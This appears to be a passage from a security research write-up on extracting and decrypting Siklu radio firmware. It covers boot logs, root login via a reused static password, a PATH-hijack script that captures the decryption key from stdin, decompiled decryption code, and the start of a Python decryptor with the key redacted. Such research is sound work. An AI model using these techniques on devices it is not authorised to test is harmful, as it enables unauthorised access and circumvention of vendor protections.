Board: Siklu PCB19x
I2C:   ready
DRAM:  512 MiB
NAND:  128 MiB
In:    serial
Out:   serial
Err:   serial
Init SYSEEPROM Data...
SF: Detected gd25q16 with page size 256 Bytes, erase size 64 KiB, total 16 MiB
Erasing NAND...
Erasing at 0x0 -- 100% complete.
Writing to NAND... OK
Net:   PHY reset timed out
FEC0
Hit any key to stop autoboot:  3
</span></code></pre></div></div>

<p>The NAND storage appears to be partitioned into 7 partitions, with two containing the firmware image (one likely being a backup/secondary firmware slot)</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">Creating 7 MTD partitions on "gpmi-nand":
0x000000000000-0x000000020000 : "env"
0x000000020000-0x000000040000 : "env2"
0x000000040000-0x000000060000 : "env_t"
0x000000060000-0x000002860000 : "uimage0"
0x000002860000-0x000005060000 : "uimage1"
0x000005060000-0x000006060000 : "conf"
0x000006060000-0x000008000000 : "log"
</span></code></pre></div></div>

<p>We can also identify the device is using a Linux based firmware, and once booted provides a login prompt</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">Starting kernel ...

Booting Linux on physical CPU 0x0
</span><span class="gp">Linux version 4.9.11+ (edwardk@rene.siklu.local) (gcc version 7.2.1 20171011 (Linaro GCC 7.2-2017.11) ) #</span>4 SMP PREEMPT Thu Jun 7 12:18:17 IDT 2018
<span class="c">...
</span><span class="go">sw login: 
</span></code></pre></div></div>

<h2 id="shell-access">Shell access</h2>
<p>Normally in this situation we would look at utilizing the unlocked U-Boot to adjust the boot process into single user mode and bypass the login prompt, however luckily (or unfortunately) it appears the device uses the same <code class="language-console highlighter-rouge"><span class="go">root</span></code> user credentials that were discovered on the Siklu TG series devices.</p>

<p><strong>Update:</strong> The static root password has been captured under CVE-2025-57175</p>

<p>After logging in as root we are able to dump some information regarding running processes and get a lay of the land.</p>

<p><strong>running processes</strong></p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># ps</span>
PID   USER     COMMAND
    1 root     init
...
  440 root     /usr/sbin/dropbear <span class="nt">-k</span> <span class="nt">-j</span> <span class="nt">-K</span> 10 <span class="nt">-I</span> 0 <span class="nt">-b</span> /tmp/ssh_banner
  464 root     <span class="o">[</span>kworker/u2:2]
  506 root     /usr/sbin/crond <span class="nt">-c</span> /etc/cron.d <span class="nt">-L</span> /dev/null
  514 root     <span class="o">{</span>cli_prio_cntrl.<span class="o">}</span> /bin/sh /home/sw/bin/cli_prio_cntrl.sh
  525 root     /home/sw/bin/watchdogd
  550 root     /home/sw/bin/bspd <span class="nt">-i</span>
  558 root     /home/sw/bin/npud
  566 root     /home/sw/bin/swupgrd
  574 root     /home/sw/bin/modemd
  588 root     /home/sw/bin/ctrl_txd
  596 root     /home/sw/bin/oamd
  604 root     /home/sw/bin/rfpiped
  711 root     /home/sw/bin/cad
  728 root     /home/sw/bin/mini_httpd <span class="nt">-C</span> /etc/httpd.conf
  742 root     /usr/sbin/snmpd <span class="nt">-c</span> /tmp/snmpd.conf
  757 root     <span class="o">[</span>kworker/u2:3]
  762 root     <span class="o">[</span>kworker/0:2]
  767 root     <span class="nt">-sh</span>
  784 root     /usr/sbin/rsyslogd
  797 root     ps
</code></pre></div></div>

<p><strong>listening network sockets</strong></p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># netstat -tunel</span>
Active Internet connections <span class="o">(</span>only servers<span class="o">)</span>
Proto Recv-Q Send-Q Local Address           Foreign Address         State       
tcp        0      0 0.0.0.0:22              0.0.0.0:<span class="k">*</span>               LISTEN      
tcp        0      0 0.0.0.0:443             0.0.0.0:<span class="k">*</span>               LISTEN      
tcp        0      0 0.0.0.0:80              0.0.0.0:<span class="k">*</span>               LISTEN      
tcp        0      0 127.0.0.1:8081          0.0.0.0:<span class="k">*</span>               LISTEN      
tcp        0      0 127.0.0.1:8082          0.0.0.0:<span class="k">*</span>               LISTEN      
tcp        0      0 :::22                   :::<span class="k">*</span>                    LISTEN      
tcp        0      0 :::443                  :::<span class="k">*</span>                    LISTEN      
tcp        0      0 :::555                  :::<span class="k">*</span>                    LISTEN      
tcp        0      0 :::80                   :::<span class="k">*</span>                    LISTEN      
udp        0      0 0.0.0.0:161             0.0.0.0:<span class="k">*</span>                           
udp        0      0 0.0.0.0:68              0.0.0.0:<span class="k">*</span>                           
udp        0      0 :::161                  :::<span class="k">*</span>     
</code></pre></div></div>

<h2 id="upgrade-process">Upgrade process</h2>
<p>With shell access we can also monitor what processes run during the upgrade process and hopefully find what might handle the decryption stage.</p>

<p>After “downloading” (uploading) a new firmware to the device via the web interface, we observe a process called <code class="language-console highlighter-rouge"><span class="go">swupgrd_decrypt</span></code> start and spawn <code class="language-console highlighter-rouge"><span class="go">openssl</span></code> to decrypt the image, of note is the <code class="language-console highlighter-rouge"><span class="go">-pass stdin</span></code> argument.</p>

<p>As the key is being passed through to <code class="language-console highlighter-rouge"><span class="go">openssl</span></code> via <code class="language-console highlighter-rouge"><span class="go">stdin</span></code> we could substitute <code class="language-console highlighter-rouge"><span class="go">openssl</span></code> with another binary/script which dumps stdin into a file.</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go"> 1100 root     swupgrd_decrypt /tmp/siklu-uimage-nxp-enc-10.7.3-18993-bab5784d52
 1223 root     sh -c openssl enc -in /tmp/siklu-uimage-nxp-enc-10.7.3-18993-bab5784d52 -out /tmp/logs/.decrypted -d -aes256 -pass stdin
 1233 root     openssl enc -in /tmp/siklu-uimage-nxp-enc-10.7.3-18993-bab5784d52 -out /tmp/logs/.decrypted -d -aes256 -pass stdin
 1240 root     /home/sw/bin/mini_httpd -C /etc/httpd.conf
</span></code></pre></div></div>

<p>Reviewing the PATH order we drop a fake <code class="language-console highlighter-rouge"><span class="go">openssl</span></code> executable script into <code class="language-console highlighter-rouge"><span class="go">/home/sw/bin</span></code> to intercept the stdin and save to a file</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/sh</span>
<span class="nb">cp</span> /dev/stdin decrypt.bin
</code></pre></div></div>

<p>Whilst this did capture what appeared to be a 32 byte key, it would only work on the specific image we used to capture, capturing another image decryption key we observed the first 16 bytes were static and the second 16 bytes changed.</p>

<h2 id="digging-into-swupgrd_decrypt">Digging into <code class="language-console highlighter-rouge"><span class="go">swupgrd_decrypt</span></code></h2>
<p>Loading the binary into a de-compilation tool and searching for <code class="language-console highlighter-rouge"><span class="go">openssl</span></code> we quickly identify the function that appears to be used for decryption.</p>

<p>In this function we can observe two <code class="language-console highlighter-rouge"><span class="go">fwrite</span></code> calls to the <code class="language-console highlighter-rouge"><span class="go">openssl</span></code> process handle, both being 16 bytes long.</p>

<p>However we still are unsure where those last 16 bytes come from (ignoring my comments) so lets dig into the calling function <code class="language-console highlighter-rouge"><span class="go">main</span></code></p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="mo">00011</span><span class="n">cc0</span>  <span class="kt">int32_t</span> <span class="n">decrypt_file</span><span class="p">(</span><span class="kt">int32_t</span> <span class="n">arg1</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">enc_file</span><span class="p">)</span>
<span class="mo">00011</span><span class="n">cde</span>      <span class="kt">void</span> <span class="n">openssl_cmd</span>
<span class="mo">00011</span><span class="n">cde</span>      <span class="n">snprintf</span><span class="p">(</span><span class="o">&amp;</span><span class="n">openssl_cmd</span><span class="p">,</span> <span class="mh">0x100</span><span class="p">,</span> <span class="s">"openssl enc -in %s -out %s -d -a…"</span><span class="p">,</span> <span class="n">enc_file</span><span class="p">,</span> <span class="s">"/tmp/logs/.decrypted"</span><span class="p">)</span>
<span class="mo">00011</span><span class="n">ce8</span>      <span class="kt">FILE</span><span class="o">*</span> <span class="n">openssl_stdin</span> <span class="o">=</span> <span class="n">popen</span><span class="p">(</span><span class="o">&amp;</span><span class="n">openssl_cmd</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">data_129e4</span><span class="p">)</span>  <span class="c1">// write</span>
<span class="p">...</span>
<span class="mo">00011</span><span class="n">cf0</span>      <span class="k">if</span> <span class="p">(</span><span class="n">openssl_stdin</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="c1">// Check stdin is ready</span>
<span class="p">...</span>
<span class="mo">00011</span><span class="n">cfc</span>      <span class="k">else</span>  <span class="c1">// Write 16bytes from master_key to OpenSSL stdin</span>
<span class="mo">00011</span><span class="n">cfc</span>          <span class="n">fwrite</span><span class="p">(</span><span class="o">&amp;</span><span class="n">master_key</span><span class="p">,</span> <span class="mi">16</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="n">openssl_stdin</span><span class="p">)</span>
<span class="mo">00011</span><span class="n">d08</span>          <span class="c1">// Write image key to OpenSSL stdin, last 48 bytes of image is</span>
<span class="mo">00011</span><span class="n">d08</span>          <span class="c1">// passed to arg1, with key starting at 16 bytes, and key</span>
<span class="mo">00011</span><span class="n">d08</span>          <span class="c1">// being 16 bytes long</span>
<span class="mo">00011</span><span class="n">d08</span>          <span class="n">fwrite</span><span class="p">(</span><span class="n">arg1</span> <span class="o">+</span> <span class="mi">16</span><span class="p">,</span> <span class="mi">16</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="n">openssl_stdin</span><span class="p">)</span>
</code></pre></div></div>

<p>In the <code class="language-console highlighter-rouge"><span class="go">main</span></code> function we can observe the process reading the last 48 bytes of the image, using this to check a signature and validate the CRC32 of the image.</p>

<p>After this is done is removes these 48 bytes from the file, before passing them into the <code class="language-console highlighter-rouge"><span class="go">decrypt_file</span></code> function, which we can see extracts 16 bytes from 16 bytes into the 48 bytes.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="mo">0001140</span><span class="n">c</span>  <span class="kt">int32_t</span> <span class="n">main</span><span class="p">(</span><span class="kt">int32_t</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">**</span> <span class="n">argv</span><span class="p">,</span> <span class="kt">char</span><span class="o">**</span> <span class="n">envp</span><span class="p">)</span>
<span class="mo">00011424</span>      <span class="kt">void</span> <span class="n">encFile</span>
<span class="mo">00011424</span>      <span class="n">memset</span><span class="p">(</span><span class="o">&amp;</span><span class="n">encFile</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mh">0xc0</span><span class="p">)</span>
<span class="mo">0001142</span><span class="n">a</span>      <span class="kt">int32_t</span> <span class="n">i_11</span>
<span class="mo">0001142</span><span class="n">a</span>      <span class="kt">char</span><span class="o">*</span> <span class="n">var_318</span>
<span class="mo">0001142</span><span class="n">a</span>      <span class="kt">int32_t</span> <span class="n">var_300</span>
<span class="mo">0001142</span><span class="n">a</span>      <span class="kt">int32_t</span> <span class="n">var_2f4</span>
<span class="mo">0001142</span><span class="n">a</span>      <span class="kt">void</span><span class="o">*</span> <span class="n">var_20c</span>
<span class="mo">0001142</span><span class="n">a</span>      <span class="kt">int32_t</span> <span class="n">var_204</span>
<span class="mo">0001142</span><span class="n">a</span>      <span class="k">if</span> <span class="p">(</span><span class="n">argc</span> <span class="o">==</span> <span class="mi">2</span><span class="p">)</span>
<span class="mo">00011434</span>          <span class="n">strncpy</span><span class="p">(</span><span class="o">&amp;</span><span class="n">encFile</span><span class="p">,</span> <span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0xbf</span><span class="p">)</span>
<span class="mo">0001143</span><span class="n">c</span>          <span class="kt">int32_t</span> <span class="n">fileHandle</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="o">&amp;</span><span class="n">encFile</span><span class="p">,</span> <span class="n">argc</span><span class="p">)</span>
<span class="mo">00011442</span>          <span class="kt">char</span> <span class="k">const</span><span class="o">*</span> <span class="k">const</span> <span class="n">var_328</span>
<span class="mo">00011442</span>          <span class="k">if</span> <span class="p">(</span><span class="n">fileHandle</span> <span class="n">s</span><span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span>
<span class="mo">00011534</span>              <span class="kt">char</span> <span class="k">const</span><span class="o">*</span> <span class="k">const</span><span class="o">*</span> <span class="n">var_2f8_1</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">var_328</span>
<span class="mo">00011536</span>              <span class="n">var_318</span> <span class="o">=</span> <span class="s">"cannot open {}"</span>
<span class="mo">00011536</span>              <span class="kt">int32_t</span> <span class="n">var_314_1</span> <span class="o">=</span> <span class="mh">0xe</span>
<span class="mo">0001153</span><span class="n">e</span>              <span class="n">var_300</span> <span class="o">=</span> <span class="mi">12</span>
<span class="mo">0001154</span><span class="n">c</span>              <span class="kt">int32_t</span> <span class="n">var_358_2</span> <span class="o">=</span> <span class="n">var_300</span>
<span class="mo">0001154</span><span class="n">c</span>              <span class="kt">int32_t</span> <span class="n">var_354_3</span> <span class="o">=</span> <span class="mi">0</span>
<span class="mo">0001155</span><span class="mi">8</span>              <span class="n">var_328</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">encFile</span>
<span class="mo">0001155</span><span class="mi">8</span>              <span class="kt">int32_t</span> <span class="n">var_324_2</span> <span class="o">=</span> <span class="mi">0</span>
<span class="mo">0001155</span><span class="n">c</span>              <span class="n">fmt</span><span class="o">::</span><span class="n">v8</span><span class="o">::</span><span class="n">vformat</span><span class="p">()</span>
<span class="mo">00011562</span>              <span class="kt">int32_t</span> <span class="n">i_9</span> <span class="o">=</span> <span class="mi">0</span>
<span class="mo">00011564</span>              <span class="kt">char</span> <span class="k">const</span><span class="o">*</span> <span class="k">const</span> <span class="n">r1_9</span> <span class="o">=</span> <span class="s">"/home/jenkins/agent/workspace/ho…"</span>
<span class="mo">00011570</span>              <span class="kt">int32_t</span> <span class="n">i</span>
<span class="mo">00011570</span>              <span class="k">do</span>
<span class="mo">00011566</span>                  <span class="n">r1_9</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">r1_9</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
<span class="mo">0001156</span><span class="n">a</span>                  <span class="n">i</span> <span class="o">=</span> <span class="n">i_9</span>
<span class="mo">0001156</span><span class="n">c</span>                  <span class="n">i_9</span> <span class="o">=</span> <span class="n">i_9</span> <span class="o">+</span> <span class="mi">1</span>
<span class="mo">0001156</span><span class="n">c</span>              <span class="k">while</span> <span class="p">(</span><span class="n">zx</span><span class="p">.</span><span class="n">d</span><span class="p">(</span><span class="o">*</span><span class="n">r1_9</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
<span class="mo">00011574</span>              <span class="k">if</span> <span class="p">(</span><span class="n">i</span> <span class="n">u</span><span class="o">&gt;</span> <span class="mi">1</span><span class="p">)</span>
<span class="mo">0001157</span><span class="n">a</span>                  <span class="kt">void</span><span class="o">*</span> <span class="n">r3_5</span> <span class="o">=</span> <span class="o">&amp;</span><span class="p">(</span><span class="o">*</span><span class="s">"/home/jenkins/agent/workspace/ho…"</span><span class="p">)[</span><span class="n">i</span><span class="p">]</span>
<span class="mo">000115</span><span class="mi">82</span>                  <span class="k">do</span>
<span class="mo">000115</span><span class="mi">84</span>                      <span class="kt">uint32_t</span> <span class="n">r1_10</span> <span class="o">=</span> <span class="n">zx</span><span class="p">.</span><span class="n">d</span><span class="p">(</span><span class="o">*</span><span class="n">r3_5</span><span class="p">)</span>
<span class="mo">000115</span><span class="mi">84</span>                      <span class="n">r3_5</span> <span class="o">=</span> <span class="n">r3_5</span> <span class="o">-</span> <span class="mi">1</span>
<span class="mo">000115</span><span class="mi">8</span><span class="n">a</span>                      <span class="k">if</span> <span class="p">(</span><span class="n">r1_10</span> <span class="o">==</span> <span class="mh">0x2f</span><span class="p">)</span>
<span class="mo">000115</span><span class="mi">8</span><span class="n">a</span>                          <span class="k">break</span>
<span class="mo">0001157</span><span class="n">e</span>                      <span class="n">i</span> <span class="o">=</span> <span class="n">i</span> <span class="o">-</span> <span class="mi">1</span>
<span class="mo">0001157</span><span class="n">e</span>                  <span class="k">while</span> <span class="p">(</span><span class="n">i</span> <span class="o">!=</span> <span class="mi">1</span><span class="p">)</span>
<span class="mo">000115</span><span class="n">a6</span>              <span class="n">syslog</span><span class="p">(</span><span class="mh">0xb</span><span class="p">,</span> <span class="s">"[%s:%d %s] %s"</span><span class="p">,</span> <span class="o">&amp;</span><span class="p">(</span><span class="o">*</span><span class="s">"home/jenkins/agent/workspace/hos…"</span><span class="p">)[</span><span class="n">i</span><span class="p">],</span> <span class="mh">0x9b</span><span class="p">,</span> <span class="s">"get_decrypted_image"</span><span class="p">,</span> <span class="n">var_20c</span><span class="p">,</span> <span class="n">var_2f8_1</span><span class="p">,</span> <span class="n">var_2f4</span><span class="p">)</span>
<span class="mo">000115</span><span class="n">a6</span>              <span class="k">goto</span> <span class="n">label_115aa</span>
<span class="mo">0001144</span><span class="n">e</span>          <span class="n">lseek</span><span class="p">(</span><span class="n">fileHandle</span><span class="p">,</span> <span class="o">-</span><span class="mi">48</span><span class="p">)</span>
<span class="mo">0001145</span><span class="mi">8</span>          <span class="c1">// Read footer which contains encryption key</span>
<span class="mo">0001145</span><span class="mi">8</span>          <span class="kt">ssize_t</span> <span class="n">r0_4</span> <span class="o">=</span> <span class="n">read</span><span class="p">(</span><span class="n">fileHandle</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">var_300</span><span class="p">,</span> <span class="mi">48</span><span class="p">)</span>
<span class="mo">0001145</span><span class="n">e</span>          <span class="kt">int32_t</span> <span class="n">var_2d4</span>
<span class="mo">0001145</span><span class="n">e</span>          <span class="kt">int32_t</span> <span class="n">r0_15</span>
<span class="mo">0001145</span><span class="n">e</span>          <span class="kt">char</span><span class="o">*</span> <span class="n">var_330</span>
<span class="mo">0001145</span><span class="n">e</span>          <span class="kt">int32_t</span><span class="o">*</span> <span class="n">var_310</span>
<span class="mo">0001145</span><span class="n">e</span>          <span class="kt">int32_t</span> <span class="n">var_30c</span>
<span class="mo">0001145</span><span class="n">e</span>          <span class="k">if</span> <span class="p">(</span><span class="n">r0_4</span> <span class="o">==</span> <span class="mh">0x30</span><span class="p">)</span>
<span class="mo">0001146</span><span class="n">c</span>              <span class="k">if</span> <span class="p">(</span><span class="n">var_300</span> <span class="o">==</span> <span class="mh">0x6e47d950</span><span class="p">)</span>
<span class="mo">000115</span><span class="n">c8</span>                  <span class="n">r0_15</span> <span class="o">=</span> <span class="n">crc32</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">var_300</span><span class="p">,</span> <span class="mi">44</span><span class="p">)</span>
<span class="mo">000115</span><span class="n">d2</span>                  <span class="k">if</span> <span class="p">(</span><span class="n">r0_15</span> <span class="o">!=</span> <span class="p">(</span><span class="n">var_2d4</span> <span class="n">u</span><span class="o">&gt;&gt;</span> <span class="mh">0x18</span> <span class="o">|</span> <span class="p">(</span><span class="n">var_2d4</span> <span class="n">u</span><span class="o">&gt;&gt;</span> <span class="mh">0x10</span> <span class="o">&amp;</span> <span class="mh">0xff</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">var_2d4</span> <span class="n">u</span><span class="o">&gt;&gt;</span> <span class="mi">8</span> <span class="o">&amp;</span> <span class="mh">0xff</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">var_2d4</span> <span class="o">&amp;</span> <span class="mh">0xff</span><span class="p">)))</span>
<span class="err">🚫</span><span class="mo">000115</span><span class="n">d4</span>                      <span class="n">unimplemented</span>  <span class="p">{</span><span class="n">vmov</span><span class="p">.</span><span class="n">I32</span> <span class="n">d16</span><span class="p">,</span> <span class="err">#</span><span class="mi">0</span><span class="p">}</span>
<span class="mf">000115e2</span>                      <span class="n">var_310</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">var_330</span>
<span class="mo">000115</span><span class="n">ec</span>                      <span class="n">var_328</span> <span class="o">=</span> <span class="s">"invalid enc footer"</span>
<span class="err">🚫</span><span class="mo">000115</span><span class="n">f4</span>                      <span class="n">unimplemented</span>  <span class="p">{</span><span class="n">vstr</span> <span class="n">d16</span><span class="p">,</span> <span class="p">[</span><span class="n">r7</span><span class="p">,</span> <span class="err">#</span><span class="mh">0x30</span><span class="p">]}</span>
<span class="mo">000115</span><span class="n">f8</span>                      <span class="kt">int32_t</span><span class="o">*</span> <span class="n">r2_10</span> <span class="o">=</span> <span class="n">var_310</span>
<span class="mo">000115</span><span class="n">fa</span>                      <span class="kt">char</span><span class="o">*</span> <span class="n">var_358_3</span> <span class="o">=</span> <span class="n">var_318</span>
<span class="mo">000115</span><span class="n">fa</span>                      <span class="kt">int32_t</span> <span class="n">var_314</span>
<span class="mo">000115</span><span class="n">fa</span>                      <span class="kt">int32_t</span> <span class="n">var_354_5</span> <span class="o">=</span> <span class="n">var_314</span>
<span class="err">🚫</span><span class="mo">00011604</span>                      <span class="n">unimplemented</span>  <span class="p">{</span><span class="n">vstr</span> <span class="n">d16</span><span class="p">,</span> <span class="p">[</span><span class="n">r7</span><span class="p">,</span> <span class="err">#</span><span class="mh">0x18</span><span class="p">]}</span>
<span class="mo">0001160</span><span class="mi">8</span>                      <span class="n">fmt</span><span class="o">::</span><span class="n">v8</span><span class="o">::</span><span class="n">vformat</span><span class="p">()</span>
<span class="mo">0001160</span><span class="n">e</span>                      <span class="kt">int32_t</span> <span class="n">i_6</span> <span class="o">=</span> <span class="mi">0</span>
<span class="mo">00011610</span>                      <span class="kt">char</span> <span class="k">const</span><span class="o">*</span> <span class="k">const</span> <span class="n">r1_16</span> <span class="o">=</span> <span class="s">"/home/jenkins/agent/workspace/ho…"</span>
<span class="mo">0001161</span><span class="n">c</span>                      <span class="kt">int32_t</span> <span class="n">i_1</span>
<span class="mo">0001161</span><span class="n">c</span>                      <span class="k">do</span>
<span class="mo">00011612</span>                          <span class="n">r1_16</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">r1_16</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
<span class="mo">00011616</span>                          <span class="n">i_1</span> <span class="o">=</span> <span class="n">i_6</span>
<span class="mo">0001161</span><span class="mi">8</span>                          <span class="n">i_6</span> <span class="o">=</span> <span class="n">i_6</span> <span class="o">+</span> <span class="mi">1</span>
<span class="mo">0001161</span><span class="mi">8</span>                      <span class="k">while</span> <span class="p">(</span><span class="n">zx</span><span class="p">.</span><span class="n">d</span><span class="p">(</span><span class="o">*</span><span class="n">r1_16</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
<span class="mo">0001162</span><span class="n">e</span>                      <span class="k">for</span> <span class="p">(;</span> <span class="n">i_1</span> <span class="n">u</span><span class="o">&gt;</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i_1</span> <span class="o">=</span> <span class="n">i_1</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span>
<span class="mo">0001162</span><span class="mi">8</span>                          <span class="k">if</span> <span class="p">(</span><span class="n">zx</span><span class="p">.</span><span class="n">d</span><span class="p">((</span><span class="o">*</span><span class="s">"/home/jenkins/agent/workspace/ho…"</span><span class="p">)[</span><span class="n">i_1</span><span class="p">])</span> <span class="o">==</span> <span class="mh">0x2f</span><span class="p">)</span>
<span class="mo">0001162</span><span class="mi">8</span>                              <span class="k">break</span>
<span class="mo">0001164</span><span class="n">a</span>                      <span class="n">syslog</span><span class="p">(</span><span class="mh">0xb</span><span class="p">,</span> <span class="s">"[%s:%d %s] %s"</span><span class="p">,</span> <span class="o">&amp;</span><span class="p">(</span><span class="o">*</span><span class="s">"home/jenkins/agent/workspace/hos…"</span><span class="p">)[</span><span class="n">i_1</span><span class="p">],</span> <span class="mh">0x7d</span><span class="p">,</span> <span class="s">"get_decrypted_image"</span><span class="p">,</span> <span class="n">var_20c</span><span class="p">,</span> <span class="n">r2_10</span><span class="p">,</span> <span class="n">var_30c</span><span class="p">)</span>
<span class="mo">00011656</span>                  <span class="k">else</span>  <span class="c1">// Trim last 48 bytes, and extract key</span>
<span class="mo">00011656</span>                      <span class="kt">int32_t</span> <span class="n">var_2e0</span>
<span class="mo">00011656</span>                      <span class="n">ftruncate</span><span class="p">(</span><span class="n">fileHandle</span><span class="p">,</span> <span class="n">var_2e0</span> <span class="n">u</span><span class="o">&gt;&gt;</span> <span class="mi">24</span> <span class="o">|</span> <span class="p">(</span><span class="n">var_2e0</span> <span class="n">u</span><span class="o">&gt;&gt;</span> <span class="mi">16</span> <span class="o">&amp;</span> <span class="mi">255</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">var_2e0</span> <span class="n">u</span><span class="o">&gt;&gt;</span> <span class="mi">8</span> <span class="o">&amp;</span> <span class="mi">255</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">var_2e0</span> <span class="o">&amp;</span> <span class="mi">255</span><span class="p">))</span>
<span class="mo">00011664</span>                      <span class="k">if</span> <span class="p">(</span><span class="n">decrypt_file</span><span class="p">(</span><span class="o">&amp;</span><span class="n">var_300</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">encFile</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">1</span><span class="p">)</span>
</code></pre></div></div>

<h2 id="wrapping-it-up">Wrapping it up</h2>
<p>A golden rule in IT security is once someone has physical access, all bets are off, and this is a clear case of that.</p>

<p>With physical access we were able to obtain a shell to the underlying OS of the device, and from there monitor the decryption process and obtain the binaries responsible.</p>

<p>Whilst the static decryption key cannot be disclosed, below is an example python script to perform a decryption of the firmware.</p>

<ol>
  <li>Extract image key from file (seek to last 32 bytes of image, read 16 bytes)</li>
  <li>Duplicate image file, and trim last 48 bytes of image</li>
  <li>Start <code class="language-console highlighter-rouge"><span class="go">openssl</span></code> process and pass in master key + image key</li>
</ol>

<h3 id="usage">Usage</h3>
<p>Simple run the python3 script passing the encrypted image file as the first argument</p>

<p><code class="language-console highlighter-rouge"><span class="gp">python3 decrypt_firmware.py &lt;image&gt;</span></code></p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 decrypt_firmware.py siklu-uimage-nxp-enc-10_6_2-18707-ea552dc00b.zip
Processing file: siklu-uimage-nxp-enc-10_6_2-18707-ea552dc00b.zip

<span class="k">***</span> WARNING : deprecated key derivation used.
Using <span class="nt">-iter</span> or <span class="nt">-pbkdf2</span> would be better.

Cleaning up truncated file siklu-uimage-nxp-enc-10_6_2-18707-ea552dc00b.zip_truncated
Decrypted file saved to siklu-uimage-nxp-enc-10_6_2-18707-ea552dc00b.zip_decrypted
</code></pre></div></div>

<h3 id="code">Code</h3>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="n">subprocess</span>
<span class="kn">import</span> <span class="n">sys</span><span class="p">,</span> <span class="n">os</span>
<span class="kn">import</span> <span class="n">binascii</span>

<span class="c1"># Check if there are enough arguments
</span><span class="k">if</span> <span class="nf">len</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">1</span><span class="p">:</span>
    <span class="n">input_file_path</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
    <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">Processing file:</span><span class="sh">"</span><span class="p">,</span> <span class="n">input_file_path</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
    <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">No file specified.</span><span class="sh">"</span><span class="p">)</span>
    <span class="n">sys</span><span class="p">.</span><span class="nf">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>


<span class="c1"># Define file paths for truncated encrypted file, and where to save decrypted version
</span><span class="n">truncated_file_path</span> <span class="o">=</span> <span class="n">input_file_path</span> <span class="o">+</span> <span class="sh">'</span><span class="s">_truncated</span><span class="sh">'</span>
<span class="n">output_file_path</span> <span class="o">=</span> <span class="n">input_file_path</span> <span class="o">+</span> <span class="sh">'</span><span class="s">_decrypted</span><span class="sh">'</span>

<span class="c1"># Common base encryption key used by Siklu
</span><span class="n">base_key</span> <span class="o">=</span> <span class="sh">"</span><span class="s">&lt;REDACTED&gt;</span><span class="sh">"</span>

<span class="c1"># Function to remove the last 48 bytes from file
</span><span class="k">def</span> <span class="nf">remove_last_48_bytes</span><span class="p">(</span><span class="n">in_file</span><span class="p">,</span> <span class="n">out_file</span><span class="p">):</span>
    <span class="k">with</span> <span class="nf">open</span><span class="p">(</span><span class="n">in_file</span><span class="p">,</span> <span class="sh">'</span><span class="s">rb</span><span class="sh">'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
        <span class="n">content</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="nf">read</span><span class="p">()</span>

    <span class="n">new_content</span> <span class="o">=</span> <span class="n">content</span><span class="p">[:</span><span class="o">-</span><span class="mi">48</span><span class="p">]</span>  <span class="c1"># Slice the content, excluding the last 48 bytes
</span>
    <span class="k">with</span> <span class="nf">open</span><span class="p">(</span><span class="n">out_file</span><span class="p">,</span> <span class="sh">'</span><span class="s">wb</span><span class="sh">'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
        <span class="n">f</span><span class="p">.</span><span class="nf">write</span><span class="p">(</span><span class="n">new_content</span><span class="p">)</span> 

<span class="c1"># Function to exctract image encryption key which is stored in the last 48 bytes of the file
</span><span class="k">def</span> <span class="nf">extract_key</span><span class="p">(</span><span class="n">in_file</span><span class="p">):</span>
